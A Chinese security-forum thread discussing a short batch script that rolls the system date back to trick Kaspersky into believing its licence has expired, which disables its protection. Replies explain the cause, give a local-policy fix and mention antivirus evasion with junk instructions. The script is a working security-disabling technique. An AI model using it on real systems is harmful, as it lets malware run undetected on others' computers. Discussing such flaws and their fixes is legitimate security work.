议题作者：peter_yu
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

最近网上盛传一种终止卡巴防护的代码，更有甚者在病毒中添加了此功能，就是更改系统时间，而其确实也能终止xp下kav的防护，不过可能无法终止当设置权限为不允许更改系统时间时的kav…………
普通脚本代码：
@echo off
set date=%date%
date 1981-01-12
ping -n 45 localhost > nul
date %date%
卡巴竟会犯如此低级的错误？

由于卡巴斯基会为了防止盗版，实时检测系统日期，以判断软件是否已经超过授权的使用期限。当发现软件许可过期时会立即关闭所有的监控，同时主程序也无法扫描病毒，并且需要用户输入新的序列号。所以这是没办法的事，一直以来KABA一直如此！

看到小金猪网页上写，可以通过使咔吧的驱动脱钩来实现过主防的目的
不知道这个是怎么实现的。

卡巴的反盗版功能也是他的缺陷,
自己修改下电脑的权限就可以了
在  本地策略—用户权利指派—更改系统时间 里面把所有的帐户都删除
这样这段代码就没有用了.

楼上的兄弟说的倒是有些意思，利用权限解决问题。
恩，不错

卡巴已赢的中国市场，再说垃圾，使用人都比较多。

现在是经济时代，经济地位决定政治地位！

那这样的话不是很容易就可以KILL掉喀吧么...
作为著名的杀毒软件厂商不是很丢人..

呵呵  应该所有的产品都是这样 当被大家摸透时就没威胁了

过卡巴表面内存一句花指令就可以过..楼主的这代码可以过主动吧..

不过卡巴的主动防御要是不用脚本过得了那应该也是高手了吧..
主动防御不错.就喜欢它的主动 [s:39]

这可能是一个漏洞，但卡巴在其它方面确实比很多杀毒软件强，这是不可否认的事实！

每种反病毒软件都有其长处，短处。
测试反病毒软件个人感觉主要应该用病毒来测试。
尽量不要用一些木马和一些脚本之类的。
木马和一些远程控制软件异曲同工，有很多机器上有正常的控制软件。
对木马这类的防御更多的不是依靠反病毒软件。而是一些检测判断工具和经验。
关于卡巴的利弊，小小举例一个，
卡巴斯基6.0可以拦截irq中断。这一点会造成一些用户麻烦。甚至在一些电脑上偶然会蓝屏。
但是从另一个角度看，这一点可却说明这个反病毒软件反病毒深度是很强的。
关于反病毒软件，用或者不用，用那一种，罗卜咸菜，各有所爱了。哈哈
不过感觉简单的说它弱，不是很准确。我相信来这里的很多人可能根本不用反病毒软件。或者不大会仅仅依靠反病毒软件。猜测。
以上个人看法。不具权威。：：：））

卡吧还是比较好用　主动防御真的很不错　其实没有完美的东东的哦

卡巴对加过冷花指令的杀伤力为0,还没有国内的瑞星强.现在觉得卡巴比不上瑞星..而且性能消耗方面也比不上国产的瑞星..所以..卡巴除了一个主动防御,没有什么好的.(代表我个人观点..)

卡巴用的人多了,自然它的免杀也会多起来,不过它还是很好用的,修改时间的问题我觉得还是提醒下他们,发封信过去吧...让他们用别的方法反盗版..呵呵

瑞星的特征码很难改的　有的是不能改　　这个做免杀时定位很简单但要一改程序就不能运行了　

这点瑞星还是做的很好　现在其表面查杀功能也变强了　

我装了两次卡巴，两次最终都打不开了。现在用诺顿

这个好像脱离了杀软的强弱的讨论范围了，不过卡巴似乎也应该加强对这方面的恶意利用的防范了。

最不爽是玩游戏时候。监控太强。

卡巴已赢的中国市场，再说垃圾，使用人都比较多。

现在是经济时代，经济地位决定政治地位！一点都不错

我现在用的是nod，感觉比卡巴好用

卡巴的主动防御不错啊。即使有这样的漏洞，可以再加个ssm这样就可以双重保护你的电脑。

越是出名用的人多几越被人搞破坏，vista的盗版问题是个典型案例（比以往的操作系统出现盗版时间周期最短）

这只是一个小问题，在新版本中一定会解决的！